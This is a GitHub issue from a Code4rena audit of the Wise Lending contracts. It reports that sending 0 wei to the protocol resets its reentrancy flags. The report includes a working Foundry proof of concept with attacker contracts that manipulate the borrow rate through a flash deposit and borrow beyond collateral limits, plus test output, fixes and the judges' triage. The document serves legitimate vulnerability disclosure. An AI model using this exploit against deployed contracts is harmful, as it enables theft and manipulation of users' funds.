Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

All reentrancy guards can be bypassed since sendingProgress and sendingProgressAaveHub variables inside _sendValue() can be reset #40

Closed
c4-bot-6 opened this issue Mar 1, 2024 · 9 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-228 edited-by-warden high quality report This report is of especially high quality partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) 🤖_13_group AI based duplicate group recommendation

Comments

@c4-bot-6
Copy link
Contributor

c4-bot-6 commented Mar 1, 2024

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/TransferHub/SendValueHelper.sol#L31
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/WrapperHub/AaveHelper.sol#L212

Vulnerability details

Summary

By sending 0 wei to WiseLending.sol or AaveHub.sol, all reentrancy modifiers can be bypassed.

Description

There are two copies of the _sendValue() function - one inside SendValueHelper.sol#L31 and another inside AaveHelper.sol#L212 which set either the sendingProgress or the sendingProgressAaveHub variable to true or false. These values of sendingProgress / sendingProgressAaveHub are used by all the non-reentrancy modifiers like:

These values of sendingProgress / sendingProgressAaveHub can be reset to false during a ETH transfer transaction by sending 0 wei (or any amount) to WiseLending.sol and AaveHub.sol due to incomplete checks implemented by the protocol. This makes all the re-entrancy guarding modifiers used by the protocol ineffective.



Toggle to view relevant code snippets
  File: contracts/TransferHub/SendValueHelper.sol

  12:               function _sendValue(
  13:                   address _recipient,
  14:                   uint256 _amount
  15:               )
  16:                   internal
  17:               {
  18:                   if (address(this).balance < _amount) {
  19:                       revert AmountTooSmall();
  20:                   }
  21:           
  22:  @--->            sendingProgress = true;
  23:           
  24:                   (
  25:                       bool success
  26:                       ,
  27:                   ) = payable(_recipient).call{
  28:                       value: _amount
  29:                   }("");
  30:           
  31:  @--->            sendingProgress = false;
  32:           
  33:                   if (success == false) {
  34:                       revert SendValueFailed();
  35:                   }
  36:               }
  File: contracts/WrapperHub/AaveHelper.sol

  196:              function _sendValue(
  197:                  address _recipient,
  198:                  uint256 _amount
  199:              )
  200:                  internal
  201:              {
  202:                  if (address(this).balance < _amount) {
  203:                      revert InvalidValue();
  204:                  }
  205:          
  206: @--->            sendingProgressAaveHub = true;
  207:          
  208:                  (bool success, ) = payable(_recipient).call{
  209:                      value: _amount
  210:                  }("");
  211:          
  212: @--->            sendingProgressAaveHub = false;
  213:          
  214:                  if (success == false) {
  215:                      revert FailedInnerCall();
  216:                  }
  217:              }
  File: contracts/WrapperHub/AaveHelper.sol

  9:                modifier nonReentrant() {
  10:  @--->            _nonReentrantCheck();
  11:                   _;
  12:               }

                .....
                .....
  
  34:               function _nonReentrantCheck()
  35:                   internal
  36:                   view
  37:               {
  38:  @--->            if (sendingProgressAaveHub == true) {
  39:                       revert InvalidAction();
  40:                   }
  41:           
  42:  @--->            if (WISE_LENDING.sendingProgress() == true) {
  43:                       revert InvalidAction();
  44:                   }
  45:               }
  File: contracts/PowerFarms/PendlePowerFarm/PendlePowerFarmMathLogic.sol

  9:                modifier updatePools() {
  10:  @--->            _checkReentrancy();
  11:                   _updatePools();
  12:                   _;
  13:               }

                .....
                .....

  35:               function _checkReentrancy()
  36:                   private
  37:                   view
  38:               {
  39:                   if (sendingProgress == true) {
  40:                       revert AccessDenied();
  41:                   }
  42:           
  43:  @--->            if (WISE_LENDING.sendingProgress() == true) {
  44:                       revert AccessDenied();
  45:                   }
  46:           
  47:  @--->            if (AAVE_HUB.sendingProgressAaveHub() == true) {
  48:                       revert AccessDenied();
  49:                   }
  50:               }
  File: contracts/WiseLending.sol

  97:               modifier syncPool(
  98:                   address _poolToken
  99:               ) {
  100:                  (
  101:                      uint256 lendSharePrice,
  102:                      uint256 borrowSharePrice
  103: @--->            ) = _syncPoolBeforeCodeExecution(
  104:                      _poolToken
  105:                  );
  106:          
  107:                  _;
  108:          
  109:                  _syncPoolAfterCodeExecution(
  110:                      _poolToken,
  111:                      lendSharePrice,
  112:                      borrowSharePrice
  113:                  );
  114:              }
  
                .....
                .....

  275:              function _syncPoolBeforeCodeExecution(
  276:                  address _poolToken
  277:              )
  278:                  private
  279:                  returns (
  280:                      uint256 lendSharePrice,
  281:                      uint256 borrowSharePrice
  282:                  )
  283:              {
  284: @--->            _checkReentrancy();
  285:          
  286:                  _preparePool(
  287:                      _poolToken
  288:                  );
  289:          
  290:                  if (_aboveThreshold(_poolToken) == true) {
  291:                      _scalingAlgorithm(
  292:                          _poolToken
  293:                      );
  294:                  }
  295:          
  296:                  (
  297:                      lendSharePrice,
  298:                      borrowSharePrice
  299:                  ) = _getSharePrice(
  300:                      _poolToken
  301:                  );
  302:              }

Root Cause & Attack Flows

In order to achieve reentrancy, an attacker would want to call _sendValue() again from inside an ongoing _sendValue() (i.e. from the attacker's receive() function, which is invoked either on L27 or L208), since this sets sendingProgress / sendingProgressAaveHub to false and any subsequent calls are not blocked by the protocol. This nested call can be achieved by invoking the protocol's unprotected receive() functions which themselves internally call _sendValue(). Refer the two receive() functions inside:

They internally call _sendValue() which sets sendingProgress / sendingProgressAaveHub to false at the end. Thus, sending even 0 wei to these contracts will help an attacker bypass reentrancy checks.

This can be used to carry out the following 2 types of attacks -

Attack 1 (flash-deposit):

(Part 1) One entity could force the current stepping direction by using flash loans and dumping a huge amount into the pool with a transaction triggering the algorithm (after three hours). In the same transaction, the entity could withdraw the amount and finish paying back the flash loan. The entity could repeat this every three hours, manipulating the stepping direction. Now, we changed it in a way that the algorithm runs before the user adds or withdraws tokens, which influences the shares.

The above is not true because of the following two observations:

  • Flash loans can still be used for the attack since reentrancy modifiers can be bypassed.
  • The statement made by the protocol that "the algorithm runs before the user adds or withdraws token" is incorrect. The way solidity modifiers operate, the current order of code execution actually is:
    • Step 1: User calls WiseLending.sol::withdrawExactAmountETH(). It has two modifiers attached to it - syncPool and healthStateCheck.
    • Step 2: modifier syncPool is triggered which looks like the following -
      • _syncPoolBeforeCodeExecution followed by "_" ( which implies function's code substitution ) followed by _syncPoolAfterCodeExecution.
      • But healthStateCheck needs to be executed too and hence the actual order of execution becomes:
        • _syncPoolBeforeCodeExecution followed by
        • "_" ( which implies function's code substitution ) followed by
        • healthStateCheck followed by
        • _syncPoolAfterCodeExecution.
    File: contracts/WiseLending.sol
    
    97:               modifier syncPool(
    98:                   address _poolToken
    99:               ) {
    100:                  (
    101:                      uint256 lendSharePrice,
    102:                      uint256 borrowSharePrice
    103: @--->            ) = _syncPoolBeforeCodeExecution(
    104:                      _poolToken
    105:                  );
    106:          
    107: @--->            _;
    108:          
    109: @--->            _syncPoolAfterCodeExecution(
    110:                      _poolToken,
    111:                      lendSharePrice,
    112:                      borrowSharePrice
    113:                  );
    114:              }
    File: contracts/WiseLending.sol
    
    67:               modifier healthStateCheck(
    68:                   uint256 _nftId
    69:               ) {
    70:  @--->            _;
    71:           
    72:                   _healthStateCheck(
    73:                       _nftId
    74:                   );
    75:               }
    • Step 3: The LASA algorithm is run inside the function _newBorrowRate() which is called inside _syncPoolAfterCodeExecution. Hence, it is actually run after the deposit/withdraw/borrow/payback has been made by the user, not before.

This makes the following attack vector possible:

  • Initially, some deposits and borrows are present in the system, made by various users. The value utilization and borrow rate are at some level.
  • Attacker contract (named Killer) calls depositExactAmountETH{value: 100 ether} to deposit 100 ether.
  • Killer then calls withdrawExactAmountETH(nftId, 1 ether). This internally calls _sendValue() and it's expected that the reentrancy guards which are now in play, will protect the protocol from any reentrant calls while this transaction is in progress.
  • From inside Killer's receive() function ( which got triggered as a result of the above call to withdrawExactAmountETH() ), send 0 wei to WiseLending.sol.
  • This triggers the receive() function inside WiseLending.sol, which again calls _sendValue() at L57 which subsequently sets sendingProgress to false. Reentrancy guards will let us through now.
  • Killer continues inside his receive() function and procures a flash-loan of 1,000,000 ether which he then deposits via depositExactAmountETH{value: 1_000_000 ether}. This "flash-deposit" lowers the value utilization and hence the borrow rate.
  • Killer now makes a call to any function he wants, for example borrowExactAmountETH() which has a reentrancy guard (or paybackExactAmountETH or some other function). He is not stopped.
  • Calling borrowExactAmountETH() in the above step will bring the control back to Killer's receive() function where he can call withdrawExactAmountETH(nftId, 1_000_000 ether). This call will result in another nested call to Killer's receive() function.
  • Killer now returns the flash loan.

The attacker can also keep on using this flash-loan strategy to continuously manipulate the LASA stepping direction and grief indefinitely.



Attack 2 (flash-borrow):

A user is able to borrow beyond his allowed limit using the following path:

  • Attacker contract (named Killer2) calls depositExactAmountETH{value: 100 ether} to deposit 100 ether.
  • Killer2 is allowed to borrow a max amount of up to approximately 77 ether (a bit less than that), as per the protocol's defined limits.
  • Killer2 calls borrowExactAmountETH(nftId, 1 ether) to borrow 1 ether. This triggers his receive() function.
  • From inside Killer2's receive() function, send 0 wei to WiseLending.sol. Just like before, this will set sendingProgress to false and will make the reentrancy guards useless.
  • From inside his receive() function, Killer2 calls borrowExactAmountETH(nftId, 99 ether) which is allowed by the protocol since healthStateCheck modifier of the parent call has not been executed yet! This borrow also triggers another nested call to Killer2's receive() function.
  • Killer2 uses this opportunity to use his borrowed 100 ether for some transaction involving arbitrage, etc. and then calls paybackExactAmountETH{value: 24 ether}(nftId) to return the extra amount in the same transaction.
  • Killer2 is now left with 76 ether of borrow which is within acceptable limits and hence no error is thrown by the protocol.

Proof of Concept

Add this patch and then run via forge test --fork-url mainnet -vv --mt test_t0x1c_flash to see both the tests pass, circumventing the reentrancy guards.

The patch:

  • Updates MainHelper.sol by
    • changing visibility of view function _getValueUtilization() from private to public to enable logging in our test case
    • adding a view function _getBorrowRate() to enable logging in our test case
  • Adds to WisenLendingShutdown.t.sol
    • our 2 PoC test cases
    • contract Killer and contract Killer2, which are the attacker contracts
    • IWiseLend interface
diff --git a/contracts/MainHelper.sol b/contracts/MainHelper.sol
index 46854bc..2bf2656 100644
--- a/contracts/MainHelper.sol
+++ b/contracts/MainHelper.sol
@@ -160,13 +160,13 @@ abstract contract MainHelper is WiseLowLevelHelper {
      * @dev Internal helper calculating {_poolToken}
      * utilization. Includes math underflow check.
      */
     function _getValueUtilization(
         address _poolToken
     )
-        private
+        public
         view
         returns (uint256)
     {
         uint256 totalPool = globalPoolData[_poolToken].totalPool;
         uint256 pseudoPool = lendingPoolData[_poolToken].pseudoTotalPool;
 
@@ -177,12 +177,22 @@ abstract contract MainHelper is WiseLowLevelHelper {
         return PRECISION_FACTOR_E18 - (PRECISION_FACTOR_E18
             * totalPool
             / pseudoPool
         );
     }
 
+    function _getBorrowRate(
+        address _poolToken
+    )
+        public
+        view
+        returns (uint256)
+    {
+        return borrowPoolData[_poolToken].borrowRate;
+    }
+
     /**
      * @dev Internal helper function setting new pool
      * utilization by calling {_getValueUtilization}.
      */
     function _updateUtilization(
         address _poolToken
diff --git a/contracts/WisenLendingShutdown.t.sol b/contracts/WisenLendingShutdown.t.sol
index ceffc11..86c4398 100644
--- a/contracts/WisenLendingShutdown.t.sol
+++ b/contracts/WisenLendingShutdown.t.sol
@@ -814,7 +814,150 @@ contract WiseLendingShutdownTest is Test{
 
         LENDING_INSTANCE.withdrawExactAmountETH(
             nftId,
             withdrawAmount
         );
     }
+    
+    function test_t0x1c_flashDeposit() 
+        public
+    {
+        //*************************** SETUP ***************************************
+        uint256 nftId0 = POSITION_NFTS_INSTANCE.mintPosition(); 
+        LENDING_INSTANCE.depositExactAmountETH{value: 200 ether}(nftId0); 
+        LENDING_INSTANCE.borrowExactAmountETH(nftId0, 100 ether);
+        Killer contractKiller = new Killer{value: 100 ether}(address(LENDING_INSTANCE), WETH_ADDRESS);
+        console.log("\n\n -------------- ATTACK LOGS (flash-deposit) --------------\n");
+        //*************************************************************************
+
+        vm.startPrank(address(contractKiller));
+        uint256 nftId = POSITION_NFTS_INSTANCE.mintPosition(); // nftId = 2
+        LENDING_INSTANCE.depositExactAmountETH{value: 100 ether}(nftId); 
+
+        emit log_named_decimal_uint("valueUtilization before attack =", LENDING_INSTANCE._getValueUtilization(WETH_ADDRESS), 9);
+        emit log_named_decimal_uint("borrowRate before attack =", LENDING_INSTANCE._getBorrowRate(WETH_ADDRESS), 9);
+
+        LENDING_INSTANCE.withdrawExactAmountETH(nftId, 1 ether); // invokes contractKiller's receive()
+
+        assertEq(address(contractKiller).balance, 75 ether, "borrowed amount not credited");
+    }
+    
+    function test_t0x1c_flashBorrow() 
+        public
+    {
+        //*************************** SETUP ***************************************
+        console.log("\n\n -------------- ATTACK LOGS (flash-borrow) --------------\n");
+        Killer2 contractKiller2 = new Killer2{value: 100 ether}(address(LENDING_INSTANCE));
+        vm.startPrank(address(contractKiller2));
+        //*************************************************************************
+
+        uint256 nftId = POSITION_NFTS_INSTANCE.mintPosition(); // nftId = 1
+        LENDING_INSTANCE.depositExactAmountETH{value: 100 ether}(nftId); 
+        assertEq(address(contractKiller2).balance, 0 ether, "non-zero balance");
+        vm.expectRevert();
+        LENDING_INSTANCE.borrowExactAmountETH(nftId, 77 ether); // allowed max borrow is some value less than 77 ether
+
+        LENDING_INSTANCE.borrowExactAmountETH(nftId, 1 ether); // invokes contractKiller2's receive()
+        
+        assertEq(address(contractKiller2).balance, 76 ether, "unexpected borrow amount");
+    }
+}
+
+contract Killer is Test {
+    address targetAddr;
+    address _WETH_ADDR;
+    IWiseLend target;
+    uint256 counter;
+    uint256 nftId = 2;
+
+    constructor(address _target, address _WETH) payable {
+        targetAddr = _target;
+        target = IWiseLend(_target);
+        _WETH_ADDR = _WETH;
+    }
+
+    receive() external payable { 
+        counter++;
+        if (counter == 1) {
+            // @audit : make this call to set `sendingProgress` to `false`
+            (bool s,) = payable(targetAddr).call{value: 0}("");
+            require(s);
+
+            // @audit : can re-enter now !
+            helper_getFlashLoan(1_000_000 ether);
+            target.depositExactAmountETH{value: 1_000_000 ether}(nftId);
+
+            emit log_named_decimal_uint("valueUtilization after flash deposit =", target._getValueUtilization(_WETH_ADDR), 9);
+            emit log_named_decimal_uint("borrowRate after flash deposit =", target._getBorrowRate(_WETH_ADDR), 9);
+
+            target.borrowExactAmountETH(nftId, 75 ether);
+        }
+        else if (counter == 2) {
+            (bool s,) = payable(targetAddr).call{value: 0}("");
+            require(s);
+
+            target.withdrawExactAmountETH(nftId, 1_000_000 ether);
+        }
+        else if (counter == 3) {
+            helper_returnFlashLoan(1_000_000 ether);
+        }
+    }
+
+    function helper_getFlashLoan(uint256 amount) internal {
+        // in a real attack, we get a flash loan from Aave/Balancer here
+        vm.deal(address(this), amount);
+    }
+
+    function helper_returnFlashLoan(uint256 amount) internal {
+        // in a real attack, we return the flash loan back to Aave/Balancer here
+        (bool success,) = address(0).call{value: amount}("");
+        require(success);
+        // consider the loan returned
+    }
+}
+
+contract Killer2 is Test {
+    address targetAddr;
+    IWiseLend target;
+    uint256 counter;
+    uint256 nftId = 1;
+
+    constructor(address _target) payable {
+        targetAddr = _target;
+        target = IWiseLend(_target);
+    }
+
+    receive() external payable { 
+        counter++;
+        if (counter == 1) {
+            // @audit : make this call to set `sendingProgress` to `false`
+            (bool s,) = payable(targetAddr).call{value: 0}("");
+            require(s);
+
+            // @audit : can re-enter now and borrow beyond the limit !
+            target.borrowExactAmountETH(nftId, 99 ether);
+        }
+        else if (counter == 2) {
+            (bool s,) = payable(targetAddr).call{value: 0}("");
+            require(s);
+
+            assertEq(address(this).balance, 100 ether, "couldn't borrow 100%");
+            console.log("Successfully borrowed entire 100 ether!");
+
+            // @audit-info : do some arbitrage stuff with this flash-borrowed loan, within a single tx
+            // Step a: Some external txs
+            // Step b: txs completed, control returns back here now
+
+            // return the "extra" borrowed amount of 24 ether out of the total 100 ether borrowed
+            target.paybackExactAmountETH{value: 24 ether}(nftId);
+        }
+    }
+}
+
+interface IWiseLend {
+    function depositExactAmountETH(uint256 _nftId) external payable;
+    function withdrawExactAmountETH(uint256 _nftId, uint256 _borrowAmount) external;
+    function borrowExactAmountETH(uint256 _nftId, uint256 _amount) external;
+    function paybackExactAmountETH(uint256 _nftId) external payable;
+    function _getValueUtilization(address _poolToken) external view returns(uint256);
+    function _getBorrowRate(address _poolToken) external view returns(uint256);
 }



Output (The values are printed with 9-decimal precision to improve readability):

Ran 2 tests for contracts/WisenLendingShutdown.t.sol:WiseLendingShutdownTest
[PASS] test_t0x1c_flashBorrow() (gas: 2051904)
Logs:
  true _mainnetFork
  ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0xc76b1cB1AFfCF2c178cb34ec1b3A9dB59b6d3Dfd
  POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0xd17Af6B6DD3aFadAC6ccbB1cCaB5dBadCfeF0944
  

 -------------- ATTACK LOGS (flash-borrow) --------------

  Successfully borrowed entire 100 ether!

[PASS] test_t0x1c_flashDeposit() (gas: 2374713)
Logs:
  true _mainnetFork
  ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0xc76b1cB1AFfCF2c178cb34ec1b3A9dB59b6d3Dfd
  POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0xd17Af6B6DD3aFadAC6ccbB1cCaB5dBadCfeF0944
  

 -------------- ATTACK LOGS (flash-deposit) --------------

  valueUtilization before attack =: 333333333.333333336
  borrowRate before attack =: 8503789.053488265
  valueUtilization after flash deposit =: 99970.108937428
  borrowRate after flash deposit =: 1710.085277907

Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.43s

Tools used

Foundry

Recommended Mitigation Steps

Add a require statement inside _sendValue() which checks that sendingProgress / sendingProgressAaveHub is false before proceeding further.

  File: contracts/TransferHub/SendValueHelper.sol

  12:               function _sendValue(
  13:                   address _recipient,
  14:                   uint256 _amount
  15:               )
  16:                   internal
  17:               {
  18:                   if (address(this).balance < _amount) {
  19:                       revert AmountTooSmall();
  20:                   }
  21:           
+ 22:                   require(!sendingProgress);
  22:                   sendingProgress = true;
  23:           
  24:                   (
  25:                       bool success
  26:                       ,
  27:                   ) = payable(_recipient).call{
  28:                       value: _amount
  29:                   }("");
  30:           
  31:                   sendingProgress = false;
  32:           
  33:                   if (success == false) {
  34:                       revert SendValueFailed();
  35:                   }
  36:               }

and

  File: contracts/WrapperHub/AaveHelper.sol

  196:              function _sendValue(
  197:                  address _recipient,
  198:                  uint256 _amount
  199:              )
  200:                  internal
  201:              {
  202:                  if (address(this).balance < _amount) {
  203:                      revert InvalidValue();
  204:                  }
  205:          
+ 206:                  require(!sendingProgressAaveHub);
  206:                  sendingProgressAaveHub = true;
  207:          
  208:                  (bool success, ) = payable(_recipient).call{
  209:                      value: _amount
  210:                  }("");
  211:          
  212:                  sendingProgressAaveHub = false;
  213:          
  214:                  if (success == false) {
  215:                      revert FailedInnerCall();
  216:                  }
  217:              }

Additionally, in case the protocol desires to still retain the ability to make transfers while a _sendValue() transaction is ongoing, then it's better to have another internal version of this function which is accessible only by the protocol and is never used to send funds to external users, thus never giving them control. Importantly, this new function shouldn't modify sendingProgress / sendingProgressAaveHub. Let's call this new function _sendInternal(). Then an example usage would be to replace the following calls here:

  File: contracts/WiseLending.sol

  43:           contract WiseLending is PoolManager {
  44:           
  45:               /**
  46:                * @dev Standard receive functions forwarding
  47:                * directly send ETH to the master address.
  48:                */
  49:               receive()
  50:                   external
  51:                   payable
  52:               {
  53:                   if (msg.sender == WETH_ADDRESS) {
  54:                       return;
  55:                   }
  56:           
- 57:                   _sendValue(
+ 57:                   _sendInternal(
  58:                       master,
  59:                       msg.value
  60:                   );
  61:               }

and

  File: contracts/WrapperHub/AaveHub.sol

  79:               /**
  80:                * @dev Receive functions forwarding
  81:                * sent ETH to the master address
  82:                */
  83:               receive()
  84:                   external
  85:                   payable
  86:               {
  87:                   if (msg.sender == WETH_ADDRESS) {
  88:                       return;
  89:                   }
  90:           
- 91:                   _sendValue(
+ 91:                   _sendInternal(
  92:                       master,
  93:                       msg.value
  94:                   );
  95:               }

Assessed type

Reentrancy

@c4-bot-6 c4-bot-6 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 1, 2024
c4-bot-5 added a commit that referenced this issue Mar 1, 2024
@c4-bot-12 c4-bot-12 added the 🤖_13_group AI based duplicate group recommendation label Mar 12, 2024
@GalloDaSballo
Copy link

Worth checking

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Mar 16, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort removed the sufficient quality report This report is of sufficient quality label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as high quality report

@c4-pre-sort c4-pre-sort added the high quality report This report is of especially high quality label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as primary issue

@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Mar 17, 2024
@vonMangoldt
Copy link

vonMangoldt commented Mar 20, 2024

Good catch but we dont consider it a high since no userFunds relevant state variables are changed after sending the value. And since such a call would encapsulate the borrowrate check at the end everything works as planned and it cannot be used to block funds or extract value or drain funds or anything. Still good to add a reetrnacy check to receive function just in case

UPDATE EDIT:
Ok you also submitted a stealing of funds POC we will take a look

@vonMangoldt
Copy link

vonMangoldt commented Mar 20, 2024

seems like this doesnt endanger users:

A user is able to borrow beyond his allowed limit using the following path:

Attacker contract (named Killer2) calls [depositExactAmountETH{value: 100 ether}]
(https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/WiseLending.sol#L388) to deposit 100 ether.
Killer2 is allowed to borrow a max amount of up to approximately 77 ether (a bit less than that), as per the protocol's defined limits.
Killer2 calls borrowExactAmountETH(nftId, 1 ether) to borrow 1 ether. This triggers his receive() function.
From inside Killer2's receive() function, send 0 wei to WiseLending.sol. Just like before, this will set sendingProgress to false and will make the reentrancy guards useless.
From inside his receive() function, Killer2 calls borrowExactAmountETH(nftId, 99 ether) which is allowed by the protocol since healthStateCheck modifier of the parent call has not been executed yet! This borrow also triggers another nested call to Killer2's receive() function.
Killer2 uses this opportunity to use his borrowed 100 ether for some transaction involving arbitrage, etc. and then calls paybackExactAmountETH{value: 24 ether}(nftId) to return the extra amount in the same transaction.
Killer2 is now left with 76 ether of borrow which is within acceptable limits and hence no error is thrown by the protocol.

Its basically just a flashloan without permission?

@c4-judge c4-judge removed the primary issue Highest quality submission among a set of duplicates label Mar 26, 2024
@c4-judge
Copy link
Contributor

trust1995 marked issue #228 as primary and marked this issue as a duplicate of 228

@c4-judge
Copy link
Contributor

trust1995 marked the issue as partial-75

@c4-judge c4-judge added the partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) label Mar 26, 2024
@trust1995
Copy link

Great quality but does not unlock the full impact as in the primary.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-228 edited-by-warden high quality report This report is of especially high quality partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) 🤖_13_group AI based duplicate group recommendation
Projects
None yet
Development

No branches or pull requests

8 participants